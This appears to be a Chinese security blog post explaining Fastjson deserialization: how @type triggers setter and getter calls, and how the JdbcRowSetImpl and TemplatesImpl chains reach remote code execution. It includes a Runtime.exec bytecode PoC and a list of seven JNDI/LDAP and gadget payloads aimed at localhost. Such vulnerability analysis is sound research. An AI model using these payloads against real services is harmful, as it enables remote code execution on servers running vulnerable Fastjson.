Fastjson反序列化过程分析

本篇文章记录fastjson反序列化的过程,记录自己对fastjson反序列化本质原因的学习过程,不对各版本的绕过做详细分析,版本绕过的分析网络上已经存在很多文章对其进行了清晰的描写。

fastjson反序列化过程的分析

先通过一个简单的Demo来认识fastjson的反序列化过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.fastjsondeserialization.test;

public class TestUser {
private String name; //私有属性,有getter、setter方法
private boolean flag; //私有属性,有is、setter方法
public String gender; //公有属性,无getter、setter方法
private String country; //私有属性,无getter、setter方法

public TestUser() {
System.out.println("call User default Constructor");
}

public String getName() {
System.out.println("call User getName");
return name;
}

public void setName(String name) {
System.out.println("call User setName");
this.name = name;
}

public boolean isFlag() {
System.out.println("call User isFlag");
return flag;
}

public void setFlag(boolean flag) {
System.out.println("call User setFlag");
this.flag = flag;
}

@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", flag=" + flag +
", gender='" + gender + '\'' +
", country='" + country + '\'' +
'}';
}
}

当json中存在@type时,fastjson会将json中key:value值映射到@type对应的类中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.fastjsondeserialization.test;

import com.alibaba.fastjson.*;

public class FastjsonDeserializationDemo {
public static void main(String[] args) {
//序列化
String serializedStr = "{\"@type\":\"com.fastjsondeserialization.test.TestUser\",\"name\":\"seikei\",\"flag\": true,\"gender\":\"male\",\"country\":\"china\"}";//
System.out.println("serializedStr=" + serializedStr);

System.out.println("-----------------------------------------------\n\n");
//通过parse方法进行反序列化,返回的是一个JSONObject]
System.out.println("JSON.parse(serializedStr):");
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
System.out.println("parse反序列化:" + obj1);
System.out.println("-----------------------------------------------\n");

//通过parseObject,不指定类,返回的是一个JSONObject
System.out.println("JSON.parseObject(serializedStr):");
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
System.out.println("parseObject反序列化:" + obj2);
System.out.println("-----------------------------------------------\n");
}
}

以上代码的执行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
serializedStr={"@type":"com.fastjsondeserialization.test.TestUser","name":"seikei","flag": true,"gender":"male","country":"china"}
-----------------------------------------------


JSON.parse(serializedStr):
call User default Constructor
call User setName
call User setFlag
parse反序列化对象名称:com.fastjsondeserialization.test.TestUser
parse反序列化:User{name='seikei', flag=true, gender='male', country='null'}
-----------------------------------------------

JSON.parseObject(serializedStr):
call User default Constructor
call User setName
call User setFlag
call User isFlag
call User getName
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"gender":"male","name":"seikei"}
-----------------------------------------------

注意JSON.parse()JSON.parseObject()的差别

JSON.parse()

在指定了@type的情况下,自动调用了TestUser类默认构造器,TestUser类对应的setter方法(setName),最终结果是TestUser类的一个实例。注意默认构造方法、setter方法调用顺序,默认构造器在前,此时属性值还没有被赋值,所以即使默认构造器中存在危险方法,但是危害值还没有被传入,所以默认构造器按理来说不会成为漏洞利用方法,不过对于内部类那种,外部类先初始化了自己的某些属性值,但是内部类默认构造器使用了父类的属性的某些值,依然可能造成危害。

还有一点需要注意的是public gender被成功赋值了,而private country没有成功赋值,fastjson在1.2.22, 1.1.54.android之后,增加了一个SupportNonPublicField特性,使得private country就算没有setter、getter方法也能成功赋值,该特性有在TemplatesImpl这条调用链中体现。

JSON.parseObject()

在指定了@type的情况下,自动调用了TestUser类默认构造器,TestUser类对应的setter方法(setName)以及对应的getter方法(getName)和is方法(isFlag),最终结果是一个字符串。这里多调用了getter和is方法,是因为parseObject在没有其他参数时,调用了JSON.toJSON(obj),后续会通过gettter方法获取obj属性值。

JSON.parseObject()一直到setName方法的调用栈如下图,看到JSON.parseObject()会调用到JSON.parse()、再调用DefaultJSONParser.parse(),也就是说JSON.parseObject()本质上还是调用JSON.parse()进行反序列化的,区别是parseObject()会额外调用JSON.toJSON()来将Java对象转为JSONObject对象。两者的反序列化的操作时一样的,因此都能成功触发反序列化。

fastjson-demo-stack

重点在知道json反序列化会调用setter和getter方法,指定@type时,fastjson会自动调用@type对应类的setter和getter方法,调用setter和getter方法是正常业务功能。但当该类的setter或getter方法可被利用时,会导致漏洞。这也是为什么fastjson在之前的修复一直都是添加类的黑名单,而不是禁止反序列化功能。

fastjson具体的解析过程可以参考https://paper.seebug.org/994/

fastjson利用链

我们知道Json中存在@type时,JSON.parse()会自动调用类的默认构造器和对应的setter方法,JSON.parseObject()会自动调用类的默认构造器和对应的setter、getter和is方法。

利用的关键是要找出一个特殊的在目标环境中已存在的类,满足如下两个条件:

  1. 该类的构造函数、setter方法、getter方法中的某一个存在危险操作,比如造成命令执行;
  2. 可以控制该漏洞函数的变量(一般就是该类的属性);

JdbcRowSetImpl

JdbcRowSetImpl的PoC为:

1
{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Object","autoCommit":true}}

多加一个”xxx”是为了增加Payload的适用性。

JdbcRowSetImpl.java的代码查看方法,先import com.sun.rowset.JdbcRowSetImpl;,然后按住CMD(或CTRL)键点击即可查看。

lookup-jdbcrowsetimpl

JdbcRowSetImpl调用链的过程:

  1. JdbcRowSetImpl对象恢复

jdbcrowsetimpl-restore

  1. setDataSourceName方法调用

jdbcrowsetimpl-setdatasourcename

  1. setAutocommit方法调用,里面调用了this.connect()

jdbcrowsetimpl-setautocommit

  1. this.connect()调用context.lookup(datasourceName)

jdbcrowsetimpl-connect

javax/naming/InitialContext#lookup进行ldap查询,在此可以进行JNDI注入。

InitialContext-lookup

整个调用栈过程如下

jdbcrowsetimpl-stack

整个过程调用的都是setter方法,所以该调用链在parse()parseObject()中都能使用。

TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,该调用链存在一定的限制,因为在默认情况下只会去反序列化public修饰的属性,在PoC中,_bytecodes_name都是私有属性,所以想要反序列化这两个属性,需要在parseObject()时设置Feature.SupportNonPublicField。在实际场景中很少会设置Feature.SupportNonPublicField,所以该调用链在实际场景的利用有限。

首先,在构造函数TemplatesImplDemo中的Runtime.getRuntime().exec()中输入想要执行的命令,然后将代码编译成class文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class TemplatesImplDemo extends AbstractTranslet {
public TemplatesImplDemo() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TemplatesImplDemo t = new TemplatesImplDemo();
}
}

evilClassPath参数设置成上面编译得到的class文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class FastjsonTemplatesImpl {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}

public static void main(String args[]){
try {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "/target/classes/com/fastjsondeserialization/test/TemplatesImplDemo.class";

String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);

} catch (Exception e) {
e.printStackTrace();
}
}
}

得到fastjson的PoC:

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADRMY29tL2Zhc3Rqc29uZGVzZXJpYWxpemF0aW9uL3Rlc3QvVGVtcGxhdGVzSW1wbERlbW87AQAKRXhjZXB0aW9ucwcALAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEAFlRlbXBsYXRlc0ltcGxEZW1vLmphdmEMAAgACQcALwwAMAAxAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAMgAzAQAyY29tL2Zhc3Rqc29uZGVzZXJpYWxpemF0aW9uL3Rlc3QvVGVtcGxhdGVzSW1wbERlbW8BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACwAEAAwADQANAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFQAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAYAAgAGQAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

将这串json字符放入fastjson解析,也就是JSON.parse("{@type: "..."}", Feature.SupportNonPublicField)就能触发漏洞。

PoC中的关键点:

  • _bytecodes_name都是私有属性,所以想要反序列化这两个属性,需要在parseObject()时设置Feature.SupportNonPublicField

  • _bytecodes 是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串;

  • 需要设置_outputProperties是因为漏洞利用链的关键会调用其参数的getOutputProperties()方法,进而导致命令执行;

  • _tfactory设置为{ },在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory设置;

TemplatesImpl调用链的过程:

  1. TemplatesImpl对象恢复,赋值_bytecodes_name_tfactory等私有属性,然后会调用getOutputProperties()这个getter方法

templatesimpl-getoutputproperties

  1. newTransformer()方法调用,方法里调用了getTransletInstance()

templatesimpl-newtransformer

  1. getTransletInstance()方法调用,其中第451行defineTransletClasses()方法中会根据_bytecodes来生成一个java类,生成的java类随后会被getTransletInstance()方法用到生成一个实例。

templatesimpl-gettransletinstance

  1. 生成的Java类,会执行构造函数,也就是Runtime.getRuntime().exec()导致命令执行。

templatesimpl-demo-runtime

整个过程调用栈如下图

templatesimpl-stack

其他

fastjson中其他链可以参考@type黑名单,项目地址 https://github.com/LeadroyaL/fastjson-blacklist

部分RCE payload记录,来自 https://paper.seebug.org/1192/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
payload1:
{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}


payload2:
{
"rand1": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [ "yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {}
}
}


payload3:
{
"rand1": {
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://localhost:1389/Object"
}
}
}

payload4:
{
"rand1": {
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://localhost:1389/Object",
"propertyPath": "foo",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://localhost:1389/Object"
]
}
}
}

payload5:
{
"rand1": Set[
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://localhost:1389/obj"
]
},
"adviceBeanName": "ldap://localhost:1389/obj"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}
]}

payload6:
{
"rand1": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"
}
}

payload7:
{
"rand1": {
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://localhost:1389/Object",
"loginTimeout": 0
}
}

参考

http://xxlegend.com/2017/05/03/title- fastjson 远程反序列化poc的构造和分析/

https://paper.seebug.org/1192/

https://paper.seebug.org/994/

http://www.mi1k7ea.com/2019/11/07/Fastjson系列二——1-2-22-1-2-24反序列化漏洞/